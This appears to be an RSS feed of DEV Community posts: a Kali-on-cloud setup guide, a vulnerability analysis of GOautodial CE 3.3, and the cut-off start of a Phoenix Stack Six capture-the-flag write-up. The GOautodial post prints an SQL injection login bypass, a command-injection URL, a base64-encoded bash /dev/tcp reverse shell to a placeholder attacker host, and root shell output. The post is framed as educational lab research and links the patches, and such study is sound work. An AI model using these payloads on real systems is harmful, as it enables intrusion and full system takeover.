<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: zuoshihua</title>
    <description>The latest articles on DEV Community by zuoshihua (@zuoshihua).</description>
    <link>https://dev.to/zuoshihua</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F554445%2F9ac982d0-9cc7-40b6-aede-f19f10ca6cfb.png</url>
      <title>DEV Community: zuoshihua</title>
      <link>https://dev.to/zuoshihua</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/zuoshihua"/>
    <language>en</language>
    <item>
      <title>Deploy Kali Linux with GUI on the cloud</title>
      <dc:creator>zuoshihua</dc:creator>
      <pubDate>Thu, 24 Jun 2021 16:37:52 +0000</pubDate>
      <link>https://dev.to/zuoshihua/deploy-kali-linux-with-gui-on-the-cloud-3me0</link>
      <guid>https://dev.to/zuoshihua/deploy-kali-linux-with-gui-on-the-cloud-3me0</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;I recently helped organise a cyber security workshop for youngsters between 13 and 16. Some participants could not run virtual machines for various reasons.&lt;/p&gt;

&lt;p&gt;Since the workshop required participants to have access to Kali Linux, I deployed Kali Linux with a Graphical User Interface (GUI) on Google Cloud Platform (GCP) for the participants. In this post, I'm going to show you how I did it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;P.S. Although I used GCP, these steps are applicable to other platforms e.g. DigitalOcean.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardware specs
&lt;/h2&gt;

&lt;p&gt;Since Kali Linux will be running with a GUI, I recommend allocating slightly more hardware resources.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;tr&gt;
    &lt;th&gt;Hardware&lt;/th&gt;
    &lt;th&gt;Specifications&lt;/th&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Processor&lt;/td&gt;
    &lt;td&gt;2 cores&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Memory&lt;/td&gt;
    &lt;td&gt;4 GB&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Storage&lt;/td&gt;
    &lt;td&gt;40 GB&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I recommend selecting Debian 10 as the operating system, since Kali Linux is built on top of Debian. Once it's running, connect via SSH.&lt;/p&gt;

&lt;h2&gt;
  
  
  Add the Kali Linux repository
&lt;/h2&gt;

&lt;p&gt;First, update and upgrade.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add the "kali-rolling" repository to your sources.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"deb http://http.kali.org/kali kali-rolling main non-free contrib"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /etc/apt/sources.list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Download the repository's key for the system to verify Kali Linux packages and add it with &lt;code&gt;apt-key&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl https://archive.kali.org/archive-key.asc | &lt;span class="nb"&gt;sudo &lt;/span&gt;apt-key add
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Update again. The new "kali-rolling" repository should be recognised.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Install all the things
&lt;/h2&gt;

&lt;p&gt;The "kali-linux-default" package contains all the tools in a standard Kali Linux distribution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;kali-linux-default
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once done, you need to install a desktop environment. The preferred desktop environment for Kali Linux is Xfce.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;kali-desktop-xfce
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, you need to install Xrdp. This will allow you to access and interact with the GUI via Remote Desktop Protocol (RDP).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;xrdp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;
Make sure you have set a password for your user account.&lt;/p&gt;


&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;passwd myuser &lt;span class="c"&gt;# replace myuser with your account name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Enjoy!
&lt;/h2&gt;

&lt;p&gt;If you're on Windows, use Remote Desktop Connection. If you're on Mac, download Microsoft Remote Desktop (available on the App Store).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwotson7h74sjgeblek0g.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwotson7h74sjgeblek0g.jpeg" alt="cloud kali" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Troubleshooting
&lt;/h2&gt;

&lt;p&gt;It is normal to see a black screen initially. Wait for a few moments and the desktop should appear. If it is taking particularly long, consider changing the hosting region nearer to you.&lt;/p&gt;

&lt;p&gt;If you encounter a "login failed for display 0", make sure you have set a password for your user account.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/" rel="noopener noreferrer"&gt;https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://miloserdov.org/?p=3609" rel="noopener noreferrer"&gt;https://miloserdov.org/?p=3609&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kali.org/blog/major-metapackage-makeover/" rel="noopener noreferrer"&gt;https://www.kali.org/blog/major-metapackage-makeover/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kali.org/docs/general-use/xfce-faq/" rel="noopener noreferrer"&gt;https://www.kali.org/docs/general-use/xfce-faq/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxize.com/post/how-to-install-xrdp-on-debian-10/" rel="noopener noreferrer"&gt;https://linuxize.com/post/how-to-install-xrdp-on-debian-10/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cloud</category>
      <category>kali</category>
      <category>xfce</category>
      <category>xrdp</category>
    </item>
    <item>
      <title>GOautofail</title>
      <dc:creator>zuoshihua</dc:creator>
      <pubDate>Tue, 08 Jun 2021 08:49:08 +0000</pubDate>
      <link>https://dev.to/zuoshihua/goautofail-3hh2</link>
      <guid>https://dev.to/zuoshihua/goautofail-3hh2</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;I decided to do a little vulnerability analysis. The target? GOautodial Community Edition version 3.3. According to &lt;a href="https://goautodial.org/"&gt;goautodial.org&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GOautodial is the next generation open source omni-channel contact center suite. Built from the ground up using established open source technologies.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you immediately clicked away to google it, you'd come across two posts on &lt;a href="http://exploit-db.com"&gt;exploit-db.com&lt;/a&gt; one of them being a Metasploit module. Of course, one could just run the module without a second thought but that wouldn't be very interesting would it?&lt;/p&gt;

&lt;p&gt;Furthermore, GOautodial is open source. This means we can study the source code to better understand the vulnerabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;p&gt;I needed a GOautodial instance to test with. Fortunately, there are prebuilt ISO images for download. I used this &lt;a href="https://goautodial.org/goautodial-64bit-ce-3.3-final.iso.html"&gt;image&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I installed GOautodial on a VM with 1 processor core, 1 GB memory and 20 GB disk space.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Note:&lt;/strong&gt; Make sure to set the hard disk bus type to IDE instead of SCSI or SATA. Otherwise, it will not install.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I recommend watching this &lt;a href="https://www.youtube.com/watch?v=ho5k4QjcIY4"&gt;video&lt;/a&gt; at least for the network configuration portion.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/ho5k4QjcIY4"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Once configured, the web interface will be available at https://[machine-ip]/. It uses TLS 1.0, so Google Chrome did not allow me to proceed. However, Firefox did allow with a warning that TLS 1.0 will be deprecated in the future.&lt;/p&gt;

&lt;p&gt;The web root directory is &lt;code&gt;/var/www/html&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  SQL Injection
&lt;/h2&gt;

&lt;p&gt;The first vulnerability is authentication bypass via SQL Injection. The PHP file handling the login process is &lt;code&gt;application/controllers/go_login.php&lt;/code&gt;. More specifically, the function &lt;code&gt;validate_credentials&lt;/code&gt;. This line is interesting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'go_auth'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;go_auth&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;When we look under &lt;code&gt;application/models&lt;/code&gt;, there indeed is a &lt;code&gt;go_auth.php&lt;/code&gt;. Let's inspect its &lt;code&gt;validate&lt;/code&gt; function. I have pretty printed it.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;adb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;database&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'dialerdb'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;adb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$uname&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;#$this-&amp;gt;adb-&amp;gt;where('pass', $upass);&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;adb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pass like binary '%&lt;/span&gt;&lt;span class="nv"&gt;$upass&lt;/span&gt;&lt;span class="s2"&gt;%'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;adb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'user_level &amp;gt; 7'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;adb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'active'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"Y"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;adb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'vicidial_users'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;num_rows&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;None of the login inputs are sanitised. I would imagine the SQL query would look like this with the credentials &lt;code&gt;admin:pass&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;vicidial_users&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
    &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;pass&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="nb"&gt;BINARY&lt;/span&gt; &lt;span class="s1"&gt;'%pass%'&lt;/span&gt;
    &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;user_level&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Y&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If we input &lt;code&gt;'OR '1'='1&lt;/code&gt;, the query becomes&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;vicidial_users&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
    &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;pass&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="nb"&gt;BINARY&lt;/span&gt; &lt;span class="s1"&gt;'%'&lt;/span&gt;&lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1%'&lt;/span&gt;
    &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;user_level&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Y&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The condition will always evaluate as true, effectively logging in as admin.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command Injection
&lt;/h2&gt;

&lt;p&gt;This second vulnerability is total system compromise via arbitrary command injection. In order to successfully exploit this, we must be logged in. The affected code is in &lt;code&gt;application/controllers/go_site.php&lt;/code&gt;. More specifically, the function &lt;code&gt;cpanel&lt;/code&gt;. This line is interesting.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/share/goautodial/goautodialc.pl '/sbin/service &lt;/span&gt;&lt;span class="nv"&gt;$type&lt;/span&gt;&lt;span class="s2"&gt; "&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;strtolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The two inputs "type" and "action" are not sanitised, allowing an attacker to run virtually any system command.&lt;/p&gt;

&lt;p&gt;The vulnerable URL is&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://[victim-ip]/index.php/go_site/cpanel/[type]/[action]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If we set "type" to be&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt; curl http://at.tac.ker.ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;And setup a HTTP server to listen on port 80, we should see a request logged on our console. However, to save us the trouble of escaping characters, we can Base64 encode our intended command.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;~ % &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"curl http://at.tac.ker.ip"&lt;/span&gt; | &lt;span class="nb"&gt;base64
&lt;/span&gt;&lt;span class="nv"&gt;Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Then we modify our payload to decode the Base64 string and run it.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;--decode&lt;/span&gt; | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Of course, replace &lt;code&gt;att.ack.er.ip&lt;/code&gt; with your IP.  The URL becomes&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://[victim-ip]/index.php/go_site/cpanel/; echo "Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=" | base64 --decode | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The full Python provides a HTTP server module. Run it then perform a GET request with the above URL.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;~ % python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
Serving HTTP on :: port 80 &lt;span class="o"&gt;(&lt;/span&gt;http://[::]:80/&lt;span class="o"&gt;)&lt;/span&gt; ...
::ffff:XXX.XXX.XXX.XXX - - &lt;span class="o"&gt;[&lt;/span&gt;07/Jun/2021 23:16:16] &lt;span class="s2"&gt;"GET / HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Confirming we can execute system commands, it's time for a reverse shell.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;~ % &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"bash -i &amp;gt;&amp;amp; /dev/tcp/att.ack.er.ip/80 0&amp;gt;&amp;amp;1"&lt;/span&gt; | &lt;span class="nb"&gt;base64
&lt;/span&gt;YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHQuYWNrLmVyLmlwLzgwIDA+JjEK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Kill the Python HTTP server and run a netcat listener. Modify the request and we have a root shell.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;~ % sudo nc -nvl 80
bash: no job control in this shell
&lt;/span&gt;&lt;span class="gp"&gt;[root@go ~]#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
&lt;/span&gt;&lt;span class="gp"&gt;[root@go ~]#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Fin
&lt;/h2&gt;

&lt;p&gt;I hope you learned something or at least it has been an interesting read. You can check out how these two vulnerabilities were patched in the GitHub &lt;a href="https://github.com/goautodial/ce-v3-www"&gt;repo&lt;/a&gt;.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A9-wwsHG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/goautodial"&gt;
        goautodial
      &lt;/a&gt; / &lt;a href="https://github.com/goautodial/ce-v3-www"&gt;
        ce-v3-www
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      GOautodial CE version 3.X
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/goautodial/ce-v3-www"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>goautodial</category>
    </item>
    <item>
      <title>Phoenix Stack Six</title>
      <dc:creator>zuoshihua</dc:creator>
      <pubDate>Tue, 08 Jun 2021 04:07:10 +0000</pubDate>
      <link>https://dev.to/zuoshihua/phoenix-stack-six-ja0</link>
      <guid>https://dev.to/zuoshihua/phoenix-stack-six-ja0</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;I solved a stack smashing challenge found in Exploit Education's Phoenix, namely &lt;a href="http://exploit.education/phoenix/stack-six/"&gt;Stack Six&lt;/a&gt;. I found it to be an interesting example of how just overwriting one byte can lead to RCE. We are given the following source code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/*
 * phoenix/stack-six, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * Why do fungi have to pay double bus fares? Because they take up too
 * mushroom.
 */&lt;/span&gt;

&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;err.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
